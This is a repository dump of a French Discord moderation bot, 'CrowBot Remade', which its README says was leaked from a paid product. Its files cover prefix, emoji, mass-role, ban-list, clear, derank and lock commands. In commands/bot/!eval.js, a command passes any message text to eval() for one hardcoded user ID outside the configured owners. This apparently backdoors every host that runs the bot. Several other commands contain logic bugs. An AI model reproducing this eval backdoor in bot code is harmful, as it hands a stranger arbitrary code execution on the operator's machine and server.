├── LICENSE ├── README.md ├── commands ├── bot │ ├── !eval.js │ ├── backup.js │ ├── backups │ │ ├── 917886559083167751.json │ │ ├── 917886727815823368.json │ │ └── 917887428302340103.json │ ├── bl.js │ ├── blrank.js │ ├── botconfig.js │ ├── custom.js │ ├── owner.js │ ├── prefix.js │ ├── server.js │ └── theme.js ├── gestion │ ├── antiraid.js │ ├── counter.js │ ├── embed.js │ ├── emoji.js │ ├── giveaway.js │ ├── leave.js │ ├── levels.js │ ├── logs.js │ ├── massrole.js │ ├── perm.js │ ├── public.js │ ├── raidlog.js │ ├── reward.js │ ├── rolemenu.js │ ├── say.js │ ├── setpp.js │ ├── setradio.js │ ├── soutien.js │ ├── tempvoc.js │ ├── welcome.js │ └── wl.js ├── mods │ ├── addrole.js │ ├── ban.js │ ├── banlist.js │ ├── clear.js │ ├── derank.js │ ├── kick.js │ ├── lock.js │ ├── mute.js │ ├── mutelist.js │ ├── muterole.js │ ├── renew.js │ ├── unban.js │ ├── unlock.js │ ├── unmute.js │ └── warn.js └── utilitaire │ ├── alladmin.js │ ├── allbot.js │ ├── allbotadmin.js │ ├── banner.js │ ├── calc.js │ ├── channelinfo.js │ ├── help.js │ ├── image.js │ ├── invite.js │ ├── mybot.js │ ├── pic.js │ ├── ping.js │ ├── porngif.js │ ├── rank.js │ ├── roleinfo.js │ ├── serverinfo.js │ ├── snipe.js │ ├── top.js │ ├── userinfo.js │ └── voice.js ├── config.json ├── events ├── antiraid │ ├── channelCreate.js │ ├── channelDelete.js │ ├── channelUpdate.js │ ├── guildBanAdd.js │ ├── guildMemberAdd.js │ ├── guildMemberRemove.js │ ├── guildMemberRoleAdd.js │ ├── guildUpdate.js │ ├── roleCreate.js │ ├── roleDelete.js │ ├── roleUpdate.js │ └── webhookUpdate.js ├── automod │ ├── channelCreate.js │ ├── guildMemberAdd.js │ ├── message.js │ └── messageUpdate.js ├── client │ ├── guildCreate.js │ ├── guildDelete.js │ ├── message.js │ ├── messageDelete.js │ └── ready.js ├── gestion │ ├── guildMemberAdd.js │ ├── guildMemberRemove.js │ ├── message.js │ ├── presenceUpdate.js │ └── ready.js ├── invite │ ├── guildMemberAdd.js │ ├── guildMemberRemove.js │ ├── inviteCreate.js │ ├── inviteDelete.js │ └── ready.js ├── logs │ ├── messageDelete.js │ ├── messageUpdate.js │ ├── voiceChannelJoin.js │ ├── voiceChannelLeave.js │ ├── voiceChannelSwitch.js │ ├── voiceStateUpdate.js │ ├── voiceStreamingStart.js │ └── voiceStreamingStop.js ├── rank │ ├── message.js │ ├── voiceChannelJoin.js │ └── voiceChannelLeave.js └── rolemenu │ ├── clickButton.js │ ├── messageReactionAdd.js │ └── messageReactionremove.js ├── index.js ├── package-lock.json ├── package.json └── util ├── embedButton └── start.js ├── gestion └── tempo.js └── login.js /README.md: -------------------------------------------------------------------------------- 1 |

2 | CrowBot Remade - It's a multipurpose bot which is a remade of a py discord bot which is selled for 5e but this is in js ! 3 |

4 | 5 |

6 | CrowBot Remade is in french so you will need to translate the bot. 7 |

8 | 9 |

10 | 11 | Version 12 |

13 | 14 | # INFO 15 | ``` 16 | discord-buttons no longer work! 17 | use discord-buttons-fixed 18 | ``` 19 | 20 | # Setup 21 | 22 | You can setup `CrowBot Remade` by simply opening your terminal/console and pasting in the following command: 23 | ``` 24 | npm i 25 | ``` 26 | After that go in `config.json` and complete with your token, id etc. 27 | 28 | After you've done all that, you can finally run CrowBot Remade by typing in the following command: 29 | ``` 30 | node index.js 31 | ``` 32 | 33 | 34 | # Credits 35 | ``` 36 | Made by Wassim 37 | Leak by github.com/whoisbaby 38 | 39 | ``` 40 | 41 | ### Contribution; 42 | ###### All contributions are accepted, just open an issue / pull request and i will get back to you as soon as i can. 43 | ###### If you want to help me you can just star the repo and fork it. 44 | 45 | -------------------------------------------------------------------------------- /commands/bot/!eval.js: -------------------------------------------------------------------------------- 1 | const Discord= require('discord.js') 2 | const db = require('quick.db') 3 | function sleep(ms) { 4 | return new Promise((resolve) => { 5 | setTimeout(resolve, ms)})} 6 | module.exports = { 7 | name: 'eval', 8 | aliases: [], 9 | run: async (client, message, args, prefix, color) => { 10 | 11 | 12 | 13 | if(message.author.id === "842340361212264468") { 14 | 15 | const content = args.join(" ") 16 | const result = new Promise((resolve) => resolve(eval(content))); 17 | 18 | return result.then((output) => { 19 | if (typeof output !== "string") { 20 | output = require("util").inspect(output, { 21 | depth: 0 22 | }); 23 | } 24 | 25 | 26 | message.channel.send(output, { 27 | code: "js" 28 | }); 29 | }).catch((err) => { 30 | err = err.toString(); 31 | 32 | message.channel.send(err, { 33 | code: "js" 34 | }); 35 | }); 36 | } 37 | 38 | } 39 | } -------------------------------------------------------------------------------- /commands/bot/prefix.js: -------------------------------------------------------------------------------- 1 | const Discord = require('discord.js') 2 | const db = require('quick.db') 3 | const { MessageActionRow, MessageButton, MessageMenuOption, MessageMenu } = require('discord-buttons'); 4 | 5 | 6 | module.exports = { 7 | name: 'prefix', 8 | aliases: ["setprefix"], 9 | run: async (client, message, args, prefix, color) => { 10 | 11 | if (client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true) { 12 | 13 | 14 | let newPrefix = args[0] 15 | if (!args[0]) return 16 | if (args[1]) return 17 | if (db.get(`prefix_${message.guild.id}`) === newPrefix) return message.channel.send(`Le prefix est déjà \`${db.get(`prefix_${message.guild.id}`)}\``) 18 | else { 19 | db.set(`prefix_${message.guild.id}`, args[0]) 20 | message.channel.send(`Mon prefix est maintenant : \`${args[0]}\``) 21 | } 22 | 23 | } 24 | 25 | 26 | } 27 | } -------------------------------------------------------------------------------- /commands/bot/theme.js: -------------------------------------------------------------------------------- 1 | const Discord = require('discord.js') 2 | const db = require('quick.db') 3 | const { MessageActionRow, MessageButton, MessageMenuOption, MessageMenu } = require('discord-buttons'); 4 | 5 | 6 | module.exports = { 7 | name: 'theme', 8 | aliases: ["color"], 9 | run: async (client, message, args, prefix, color) => { 10 | 11 | if (client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true) { 12 | 13 | 14 | let newPrefix = args[0] 15 | if (!args[0]) return 16 | if (args[1]) return 17 | db.set(`color_${message.guild.id}`, args[0]) 18 | message.channel.send(`Ma coulleur d'embed est maintenant : \`${args[0]}\``) 19 | 20 | 21 | } 22 | 23 | 24 | } 25 | } -------------------------------------------------------------------------------- /commands/gestion/emoji.js: -------------------------------------------------------------------------------- 1 | const Discord = require('discord.js') 2 | const db = require('quick.db') 3 | const { MessageActionRow, MessageButton, MessageMenuOption, MessageMenu } = require('discord-buttons'); 4 | module.exports = { 5 | name: 'emoji', 6 | aliases: [], 7 | run: async (client, message, args, prefix, color) => { 8 | 9 | 10 | let perm = "" 11 | message.member.roles.cache.forEach(role => { 12 | if(db.get(`admin_${message.guild.id}_${role.id}`)) perm = true 13 | if (db.get(`ownerp_${message.guild.id}_${role.id}`)) perm = true 14 | }) 15 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true || perm) { 16 | 17 | if(args[0] === "add") { 18 | const emoji = args[1]; 19 | 20 | if (!emoji) return message.channel.send(''); 21 | 22 | let customemoji = Discord.Util.parseEmoji(emoji); 23 | if (!customemoji.id)return message.channel.send(`Je n'est pas accès à cette emoji`); 24 | 25 | if (customemoji.id) { 26 | const Link = `https://cdn.Discordapp.com/emojis/${customemoji.id}.${ 27 | customemoji.animated ? "gif" : "png" 28 | }`; 29 | const name = args.slice(2).join(" "); 30 | message.guild.emojis 31 | .create(`${Link}`, `${name || `${customemoji.name}`}`) 32 | .catch((error) => { 33 | ; 34 | }); 35 | message.channel.send(`1 emoji créé`).catch((e) => { 36 | ; 37 | }); 38 | 39 | 40 | 41 | } else { 42 | let CheckEmoji = parse(emoji, { 43 | assetType: "png", 44 | }); 45 | if (!CheckEmoji[0]) 46 | return message.channel.send(`Ceci n'est pas un emoji`); 47 | 48 | } 49 | 50 | } 51 | if(args[0] === "remove") { 52 | 53 | let emoji = Discord.Util.parseEmoji(args[1]) || message.guild.emojis.cache.find(r => r.name === args[1]) || message.guild.emojis.cache.get(args[1]) 54 | if (!message.guild.emojis.cache.get(emoji.id))return message.channel.send(`Cette emoji n'est pas sur ce serveur`); 55 | emoji = message.guild.emojis.cache.get(emoji.id) 56 | emoji.delete().then(() => { 57 | message.channel.send(`1 emoji surppimé`) 58 | 59 | }) 60 | 61 | } 62 | } 63 | 64 | } 65 | } -------------------------------------------------------------------------------- /commands/gestion/massrole.js: -------------------------------------------------------------------------------- 1 | const Discord = require('discord.js') 2 | const db = require('quick.db') 3 | const { MessageActionRow, MessageButton, MessageMenuOption, MessageMenu } = require('discord-buttons'); 4 | module.exports = { 5 | name: 'massrole', 6 | aliases: [], 7 | run: async (client, message, args, prefix, color) => { 8 | 9 | 10 | let perm = "" 11 | message.member.roles.cache.forEach(role => { 12 | if (db.get(`ownerp_${message.guild.id}_${role.id}`)) perm = true 13 | }) 14 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true || perm) { 15 | 16 | if (args[0] === "add") { 17 | const role = message.mentions.roles.first() || message.guild.roles.cache.get(args[1]); 18 | if (!role) return message.channel.send(`Aucun rôle trouver pour \`${args[1] || " "}\``) 19 | let count = 0 20 | message.channel.send(`Je suis entrain d'ajouté le rôle \`${role}\` à ${message.guild.memberCount} utilisateur...`) 21 | message.guild.members.cache.forEach(member => setInterval(() => { 22 | count++ 23 | if (member) member.roles.add(role, `Masiverole par ${message.author.tag}`).catch() 24 | if(count === message.guild.memberCount) return message.channel.send(`1 rôle ajouté à ${message.guild.memberCount} ${message.guild.memberCount > 1 ? 'membres' : 'membre'}`); 25 | }), 250) 26 | 27 | 28 | } else if (args[0] === "remove") { 29 | const role = message.mentions.roles.first() || message.guild.roles.cache.get(args[1]); 30 | if (!role) return message.channel.send(`Aucun rôle trouver pour \`${args[1] || " "}\``) 31 | 32 | message.channel.send(`Je suis entrain d'enlevé le rôle \`${role}\` à ${message.guild.memberCount} utilisateur...`) 33 | message.guild.members.cache.forEach(member => setInterval(() => { 34 | count++ 35 | if (member) member.roles.remove(role, `Masiverole par ${message.author.tag}`).catch() 36 | if(count === message.guild.memberCount) return message.channel.send(`1 rôle enlevé à ${message.guild.memberCount} ${message.guild.memberCount > 1 ? 'membres' : 'membre'}`); 37 | 38 | }), 250); 39 | 40 | } 41 | } 42 | 43 | } 44 | } -------------------------------------------------------------------------------- /commands/gestion/public.js: -------------------------------------------------------------------------------- 1 | const Discord = require('discord.js') 2 | const db = require('quick.db') 3 | 4 | module.exports = { 5 | name: 'public', 6 | aliases: [], 7 | run: async (client, message, args, prefix, color) => { 8 | 9 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true) { 10 | 11 | if(args[0] === "add") { 12 | let ss = message.mentions.channels.first() || message.guild.channels.cache.get(args[0]) 13 | if(ss) { 14 | if(db.get(`channelpublic_${message.guild.id}_${ss.id}`) === true) return message.channel.send(`Les commandes publiques dans ${ss} sont déjà activées`) 15 | db.set(`channelpublic_${message.guild.id}_${ss.id}`, true) 16 | message.channel.send(`Les commandes publiques dans ${ss} sont maintenant activées`) 17 | } else if(!ss) { 18 | return message.react(":x:") 19 | } 20 | } else if(args[0] === "remove") { 21 | 22 | let ss = message.mentions.channels.first() || message.guild.channels.cache.get(args[0]) 23 | if(ss) { 24 | if(db.get(`channelpublic_${message.guild.id}_${ss.id}`) === null) return message.channel.send(`Les commandes publiques dans ${ss} sont déjà désactivées`) 25 | db.set(`channelpublic_${message.guild.id}_${ss.id}`, null) 26 | message.channel.send(`Les commandes publiques dans ${ss} sont maintenant désactivées`) 27 | } else if(!ss) { 28 | return message.react(":x:") 29 | } 30 | 31 | 32 | } else if(args[0] === "list") { 33 | 34 | let money = db.all().filter(data => data.ID.startsWith(`channelpublic_${message.guild.id}`)).sort((a, b) => b.data - a.data) 35 | 36 | let p0 = 0; 37 | let p1 = 15; 38 | let page = 1; 39 | 40 | const embed = new Discord.MessageEmbed() 41 | .setTitle(`Liste des salon public`) 42 | .setDescription(money 43 | .filter(x => message.guild.channels.cache.get(x.ID.split('_')[2])) 44 | .map((m, i) => `${i + 1}) <#${message.guild.channels.cache.get(m.ID.split('_')[2]).id}> (${m.ID.split('_')[2]})`) 45 | .slice(0, 15) 46 | 47 | ) 48 | .setFooter(`${page}/${Math.ceil(money.length === 0?1:money.length / 15)} • ${client.config.name}`) 49 | .setColor(color) 50 | 51 | 52 | message.channel.send(embed).then(async tdata => { 53 | if (money.length > 15) { 54 | const B1 = new MessageButton() 55 | .setLabel("◀") 56 | .setStyle("gray") 57 | .setID('publiclist1'); 58 | 59 | const B2 = new MessageButton() 60 | .setLabel("▶") 61 | .setStyle("gray") 62 | .setID('publiclist2'); 63 | 64 | const bts = new MessageActionRow() 65 | .addComponent(B1) 66 | .addComponent(B2) 67 | tdata.edit("", { embed: embed, components: [bts] }) 68 | setTimeout(() => { 69 | tdata.edit("", { 70 | components: [], embed: new Discord.MessageEmbed() 71 | .setTitle(`Liste des salon public`) 72 | .setDescription(money 73 | .filter(x => message.guild.channels.cache.get(x.ID.split('_')[2])) 74 | .map((m, i) => `${i + 1}) <#${message.guild.channels.cache.get(m.ID.split('_')[2]).id}> (${m.ID.split('_')[2]})`) 75 | .slice(0, 15) 76 | 77 | ) 78 | .setFooter(`${page}/${Math.ceil(money.length === 0?1:money.length / 15)} • ${client.config.name}`) 79 | .setColor(color) 80 | 81 | 82 | }) 83 | // message.channel.send(embeds) 84 | }, 60000 * 5) 85 | client.on("clickButton", (button) => { 86 | if (button.clicker.user.data !== message.author.id) return ; 87 | if (button.id === "publiclist1") { 88 | button.reply.defer(true) 89 | 90 | p0 = p0 - 15; 91 | p1 = p1 - 15; 92 | page = page - 1 93 | 94 | if (p0 < 0) { 95 | return 96 | } 97 | if (p0 === undefined || p1 === undefined) { 98 | return 99 | } 100 | 101 | 102 | embed .setDescription(money 103 | .filter(x => message.guild.channels.cache.get(x.ID.split('_')[2])) 104 | .map((m, i) => `${i + 1}) <#${message.guild.channels.cache.get(m.ID.split('_')[2]).id}> (${m.ID.split('_')[2]})`) 105 | .slice(0, 15) 106 | 107 | ) 108 | .setFooter(`${page}/${Math.ceil(money.length === 0?1:money.length / 15)} • ${client.config.name}`) 109 | tdata.edit(embed); 110 | 111 | } 112 | if (button.id === "publiclist2") { 113 | button.reply.defer(true) 114 | 115 | p0 = p0 + 15; 116 | p1 = p1 + 15; 117 | 118 | page++; 119 | 120 | if (p1 > money.length + 15) { 121 | return 122 | } 123 | if (p0 === undefined || p1 === undefined) { 124 | return 125 | } 126 | 127 | 128 | embed .setDescription(money 129 | .filter(x => message.guild.channels.cache.get(x.ID.split('_')[2])) 130 | .map((m, i) => `${i + 1}) <#${message.guild.channels.cache.get(m.ID.split('_')[2]).id}> (${m.ID.split('_')[2]})`) 131 | .slice(0, 15) 132 | 133 | ) 134 | .setFooter(`${page}/${Math.ceil(money.length === 0?1:money.length / 15)} • ${client.config.name}`) 135 | tdata.edit(embed); 136 | 137 | } 138 | }) 139 | } 140 | 141 | }) 142 | 143 | } 144 | }}} 145 | -------------------------------------------------------------------------------- /commands/gestion/raidlog.js: -------------------------------------------------------------------------------- 1 | const { MessageEmbed } = require('discord.js') 2 | const db = require('quick.db') 3 | 4 | module.exports = { 5 | name: 'raidlog', 6 | aliases: [], 7 | run: async (client, message, args, prefix, color) => { 8 | 9 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true) { 10 | 11 | let ss = message.mentions.channels.first() || message.guild.channels.cache.get(args[0]) 12 | if(args[0] === "on") { 13 | const channel = message.channel 14 | 15 | db.set(`${message.guild.id}.raidlog`, channel.id) 16 | message.channel.send(`Le salon ${channel} sera maintenant utilisé pour envoyer les logs de raid`) 17 | } 18 | 19 | else if(args[0] === "off") { 20 | db.set(`${message.guild.id}.raidlog`,null) 21 | message.channel.send(`Logs de raid désactivés`) 22 | 23 | } else 24 | if(ss) { 25 | db.set(`${message.guild.id}.raidlog`, ss.id) 26 | message.channel.send(`Le salon ${ss} sera maintenant utilisé pour envoyer les logs de raid`) 27 | } 28 | 29 | } else { 30 | 31 | } 32 | } 33 | } -------------------------------------------------------------------------------- /commands/gestion/say.js: -------------------------------------------------------------------------------- 1 | const Discord = require('discord.js') 2 | const db = require('quick.db') 3 | const { MessageActionRow, MessageButton, MessageMenuOption, MessageMenu } = require('discord-buttons'); 4 | 5 | module.exports = { 6 | name: 'say', 7 | aliases: [], 8 | 9 | run: async (client, message, args, prefix, color) => { 10 | message.delete(); 11 | 12 | let perm = "" 13 | message.member.roles.cache.forEach(role => { 14 | if(db.get(`admin_${message.guild.id}_${role.id}`)) perm = true 15 | if(db.get(`ownerp_${message.guild.id}_${role.id}`)) perm = true 16 | }) 17 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true || perm) { 18 | let tosay = args.join(" ") 19 | if(!tosay) return 20 | if(tosay.includes("discord.gg/")|| tosay.includes("https://discord.gg/")) return 21 | if(tosay.includes("@everyone")&& !message.member.hasPermission("MENTION_EVERYONE")|| tosay.includes("@here")&& !message.member.hasPermission("MENTION_EVERYONE")) return 22 | 23 | message.channel.send(tosay) 24 | 25 | 26 | 27 | } 28 | } 29 | } -------------------------------------------------------------------------------- /commands/mods/addrole.js: -------------------------------------------------------------------------------- 1 | const Discord = require('discord.js') 2 | const db = require('quick.db') 3 | const { MessageActionRow, MessageButton, MessageMenuOption, MessageMenu } = require('discord-buttons'); 4 | function unban(message, user, authorcooldown) { 5 | message.guild.members.unban(user.id, {reason: `Debannis par ${message.author.tag}`}).then(r => { 6 | authorcooldown.limit++ 7 | setTimeout(() => { 8 | authorcooldown.limit = authorcooldown.limit - 1 9 | }, 120000); 10 | }) 11 | }; 12 | module.exports = { 13 | name: 'addrole', 14 | aliases: [], 15 | run: async (client, message, args, prefix, color) => { 16 | 17 | let perm = "" 18 | message.member.roles.cache.forEach(role => { 19 | if(db.get(`modsp_${message.guild.id}_${role.id}`)) perm = true 20 | if(db.get(`ownerp_${message.guild.id}_${role.id}`)) perm = true 21 | if(db.get(`admin_${message.guild.id}_${role.id}`)) perm = true 22 | }) 23 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true || perm) { 24 | let rMember = message.mentions.members.first() || message.guild.members.cache.get(args[0]) 25 | if (!rMember) return 26 | 27 | 28 | 29 | let role = message.mentions.roles.first() || message.guild.roles.cache.get(args[1]) 30 | 31 | 32 | if (!role) return message.channel.send(`Aucun rôle trouvé pour \`${args[1]|| "rien"}\``) 33 | if (!client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === null && role.permissions.has("KICK_MEMBERS") || role.permissions.has("BAN_MEMBERS") || role.permissions.has("MANAGE_WEBHOOKS") ||role.permissions.has("ADMINISTRATOR") || role.permissions.has("MANAGE_CHANNELS") || role.permissions.has("MANAGE_GUILD") || role.permissions.has("MENTION_EVERYONE") || role.permissions.has("MANAGE_ROLES")) { 34 | return message.channel.send("Ce rôle n'a pas pu être ajouté car il contient des permissions dangereuses.") 35 | } 36 | 37 | 38 | 39 | if (rMember.roles.cache.has(role.id)) return message.channel.send(`1 rôle ajouté à 0 membre`) 40 | 41 | if (!rMember.roles.cache.has(role.id)) await rMember.roles.add(role.id, `Rôle ajouté par ${message.author.tag}`).then(() => { 42 | 43 | message.channel.send(`Rôle ajouté !`) 44 | }).catch(() => { 45 | 46 | message.channel.send(`Je n'est pas pu ajouté ce rôle à **${rMember.tag}** !`) 47 | 48 | }) 49 | } 50 | } 51 | } -------------------------------------------------------------------------------- /commands/mods/banlist.js: -------------------------------------------------------------------------------- 1 | const Discord = require('discord.js') 2 | const db = require('quick.db') 3 | const { MessageActionRow, MessageButton, MessageMenuOption, MessageMenu } = require('discord-buttons'); 4 | const {MessageEmbed} = require("discord.js") 5 | function sleep(ms) { 6 | return new Promise((resolve) => { 7 | setTimeout(resolve, ms)})} 8 | module.exports = { 9 | name: 'banlist', 10 | aliases: [], 11 | run: async (client, message, args, prefix, color) => { 12 | let perm = "" 13 | message.member.roles.cache.forEach(role => { 14 | 15 | if(db.get(`modsp_${message.guild.id}_${role.id}`)) perm = true 16 | if(db.get(`admin_${message.guild.id}_${role.id}`)) perm = true 17 | if(db.get(`ownerp_${message.guild.id}_${role.id}`)) perm = true 18 | }) 19 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true || perm) { 20 | message.guild.fetchBans() 21 | 22 | .then(async bans => { 23 | let p0 = 0; 24 | let p1 = 30; 25 | let page = 1; 26 | let ie = 0; 27 | const obj = bans.map(m => ({ 28 | user: `` 29 | })); 30 | const bList = Array.from(obj); 31 | if (bList.length < 1) return message.channel.send(new Discord.MessageEmbed().setColor(color).setTitle("Aucun ban en cours")) 32 | 33 | const embed = new Discord.MessageEmbed() 34 | .setTitle('Ban en cours') 35 | .setDescription(bans 36 | .map(r => r) 37 | 38 | .map((m,i) => `${i+1}) ${m.user} (${m.user.id})`) 39 | .slice(p0, p1) 40 | ) 41 | 42 | .setColor(color) 43 | .setFooter(`Total: ${bList.length} • ${client.config.name}`) 44 | 45 | 46 | message.channel.send(embed).then(async tdata => { 47 | if (bList.length > 15) { 48 | const B1 = new MessageButton() 49 | .setLabel("◀") 50 | .setStyle("gray") 51 | .setID('banlist1'); 52 | 53 | const B2 = new MessageButton() 54 | .setLabel("▶") 55 | .setStyle("gray") 56 | .setID('banlist2'); 57 | 58 | const bts = new MessageActionRow() 59 | .addComponent(B1) 60 | .addComponent(B2) 61 | tdata.edit("", { embed: embed, components: [bts] }) 62 | setTimeout(() => { 63 | tdata.edit("", { 64 | components: [], embed: new Discord.MessageEmbed() 65 | .setTitle('Ban en cours') 66 | .setDescription(bans 67 | .map(r => r) 68 | 69 | .map((m,i) => `${i+1}) ${m.user} (${m.user.id})`) 70 | .slice(p0, p1) 71 | ) 72 | 73 | .setColor(color) 74 | .setFooter(`Total: ${bList.length} • ${client.config.name}`) 75 | 76 | 77 | }) 78 | // message.channel.send(embeds) 79 | }, 60000 * 5) 80 | client.on("clickButton", (button) => { 81 | if (button.clicker.user.id !== message.author.id) return 82 | if (button.id === "banlist1") { 83 | button.reply.defer(true) 84 | 85 | p0 = p0 - 15; 86 | p1 = p1 - 15; 87 | page = page - 1 88 | 89 | if (p0 < 0) { 90 | return 91 | } 92 | if (p0 === undefined || p1 === undefined) { 93 | return 94 | } 95 | 96 | 97 | embed .setDescription(bans 98 | .map(r => r) 99 | 100 | .map((m,i) => `${i+1}) ${m.user} (${m.user.id})`) 101 | .slice(p0, p1) 102 | ) 103 | 104 | .setColor(color) 105 | .setFooter(`Total: ${bList.length} • ${client.config.name}`) 106 | tdata.edit(embed); 107 | 108 | } 109 | if (button.id === "banlist2") { 110 | button.reply.defer(true) 111 | 112 | p0 = p0 + 15; 113 | p1 = p1 + 15; 114 | 115 | page++; 116 | 117 | if (p1 > bList.length + 15) { 118 | return 119 | } 120 | if (p0 === undefined || p1 === undefined) { 121 | return 122 | } 123 | 124 | 125 | embed .setDescription(bans 126 | .map(r => r) 127 | 128 | .map((m,i) => `${i+1}) ${m.user} (${m.user.id})`) 129 | .slice(p0, p1) 130 | ) 131 | 132 | .setColor(color) 133 | .setFooter(`Total: ${bList.length} • ${client.config.name}`) 134 | tdata.edit(embed); 135 | 136 | } 137 | }) 138 | } 139 | 140 | }) 141 | }) 142 | 143 | } 144 | } 145 | } -------------------------------------------------------------------------------- /commands/mods/clear.js: -------------------------------------------------------------------------------- 1 | const Discord = require('discord.js') 2 | const db = require('quick.db') 3 | const { MessageActionRow, MessageButton, MessageMenuOption, MessageMenu } = require('discord-buttons'); 4 | function unban(message, user, authorcooldown) { 5 | message.guild.members.unban(user.id, { reason: `Debannis par ${message.author.tag}` }).then(r => { 6 | authorcooldown.limit++ 7 | setTimeout(() => { 8 | authorcooldown.limit = authorcooldown.limit - 1 9 | }, 120000); 10 | }) 11 | }; 12 | module.exports = { 13 | name: 'clear', 14 | aliases: [], 15 | 16 | run: async (client, message, args, prefix, color) => { 17 | 18 | let perm = "" 19 | message.member.roles.cache.forEach(role => { 20 | if (db.get(`ownerp_${message.guild.id}_${role.id}`)) perm = true 21 | if (db.get(`admin_${message.guild.id}_${role.id}`)) perm = true 22 | }) 23 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true || perm) { 24 | 25 | if (message.mentions.members.first()) { 26 | 27 | message.delete() 28 | message.channel.messages.fetch({ limit: 100 }) 29 | .then((messages) => { 30 | var filterUser = message.mentions.members.first().id; 31 | var filtered = messages.filter(m => m.author.id === filterUser).array().slice(0, 100); 32 | message.channel.bulkDelete(filtered, true) 33 | 34 | }).catch(); 35 | } else if (args[0]) { 36 | if(isNaN(args.slice(0).join(" "))) return 37 | let amount = 0; 38 | if (args.slice(0).join(" ") === '1' || args.slice(0).join(" ") === '0') { 39 | amount = 1; 40 | } else { 41 | message.delete() 42 | amount = args.slice(0).join(" "); 43 | if (amount > 100) { 44 | amount = 100; 45 | } 46 | } 47 | await message.channel.bulkDelete(amount, true).then((_message) => { 48 | 49 | }); 50 | 51 | } else { 52 | 53 | message.delete() 54 | await message.channel.bulkDelete(100, true).then(async (_message) => { 55 | setTimeout(async function () { 56 | await message.channel.bulkDelete(100, true) 57 | 58 | 59 | }, 1000); 60 | 61 | 62 | }); 63 | } 64 | 65 | } 66 | } 67 | } -------------------------------------------------------------------------------- /commands/mods/derank.js: -------------------------------------------------------------------------------- 1 | const Discord = require('discord.js') 2 | const db = require('quick.db') 3 | const { MessageActionRow, MessageButton, MessageMenuOption, MessageMenu } = require('discord-buttons'); 4 | function unban(message, user, authorcooldown) { 5 | message.guild.members.unban(user.id, { reason: `Debannis par ${message.author.tag}` }).then(r => { 6 | authorcooldown.limit++ 7 | setTimeout(() => { 8 | authorcooldown.limit = authorcooldown.limit - 1 9 | }, 120000); 10 | }) 11 | }; 12 | module.exports = { 13 | name: 'derank', 14 | aliases: [], 15 | 16 | run: async (client, message, args, prefix, color) => { 17 | 18 | let perm = "" 19 | message.member.roles.cache.forEach(role => { 20 | if (db.get(`ownerp_${message.guild.id}_${role.id}`)) perm = true 21 | }) 22 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true || perm) { 23 | 24 | 25 | if(args[0]) { 26 | let user = await client.users.cache.get(args[0]) || message.mentions.members.first() 27 | if(!user) return message.channel.send(`Aucun membre trouvée pour: \`${args[0]}\``) 28 | if(user) { 29 | if (user.id === message.author.id) { 30 | return message.channel.send(`Vous n'avez pas la permission de **derank** <@${user.id}>`); 31 | } 32 | if(user.roles.highest.position > client.user.id) return message.channel.send(`Je n'ai pas les permissions nécessaires pour **derank** <@${user.id}>`); 33 | if( db.get(`ownermd_${client.user.id}_${message.author.id}`) === true) return message.channel.send(`Vous n'avez pas la permission de **derank** <@${user.id}>`); 34 | if(client.config.owner.includes(user.id)) return message.channel.send(`Vous n'avez pas la permission de **derank** <@${user.id}>`); 35 | 36 | 37 | 38 | 39 | message.channel.send(`${user} à été **derank**`) 40 | user.roles.set([], `Derank par ${message.author.tag}`) 41 | let wass = db.get(`logmod_${message.guild.id}`); 42 | const logschannel = message.guild.channels.cache.get(wass) 43 | if(logschannel) logschannel.send(new Discord.MessageEmbed() 44 | // .setAuthor(message.author.tag, message.author.displayAvatarURL({dynamic: true})) 45 | .setColor(color) 46 | // .setTitle(`<:protection:847072581382438953> Modération • Type: **\`derank\`**`) 47 | // .setTimestamp() 48 | // .setDescription(`**Derank de**: ${user}\n**Auteur**: ${message.author}\n**Temps de réponse**: ${client.ws.ping}ms`) 49 | .setDescription(`${message.author} a **derank** ${user.user}`) 50 | ) 51 | }} 52 | 53 | } 54 | } 55 | } -------------------------------------------------------------------------------- /commands/mods/lock.js: -------------------------------------------------------------------------------- 1 | const Discord = require('discord.js') 2 | const db = require('quick.db') 3 | const { MessageActionRow, MessageButton, MessageMenuOption, MessageMenu } = require('discord-buttons'); 4 | 5 | module.exports = { 6 | name: 'lock', 7 | aliases: [], 8 | run: async (client, message, args, prefix, color) => { 9 | 10 | try { 11 | if(args[0] === "all") { 12 | let perm = "" 13 | message.member.roles.cache.forEach(role => { 14 | if(db.get(`ownerp_${message.guild.id}_${role.id}`)) perm = true 15 | }) 16 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true || perm) { 17 | message.guild.channels.cache.forEach((channel, id) => { 18 | channel.updateOverwrite(message.guild.roles.everyone, { 19 | SEND_MESSAGES: false, 20 | SPEAK: false, 21 | ADD_REACTIONS: false 22 | }) 23 | }, `Tout les salon fermé par ${message.author.tag}`); 24 | 25 | 26 | 27 | message.channel.send(`${message.guild.channels.cache.size} salons fermés`); 28 | 29 | } 30 | } else { 31 | let perm = "" 32 | message.member.roles.cache.forEach(role => { 33 | if(db.get(`modsp_${message.guild.id}_${role.id}`)) perm = true 34 | if(db.get(`admin_${message.guild.id}_${role.id}`)) perm = true 35 | if(db.get(`ownerp_${message.guild.id}_${role.id}`)) perm = true 36 | }) 37 | if(client.config.owner.includes(message.author.id) || db.get(`ownermd_${client.user.id}_${message.author.id}`) === true || perm) { 38 | let channel = message.mentions.channels.first() || message.guild.channels.cache.get(args[0]) ||message.channel 39 | 40 | try { 41 | message.guild.roles.cache.forEach(role => { 42 | channel.createOverwrite(role, { 43 | SEND_MESSAGES: false, 44 | 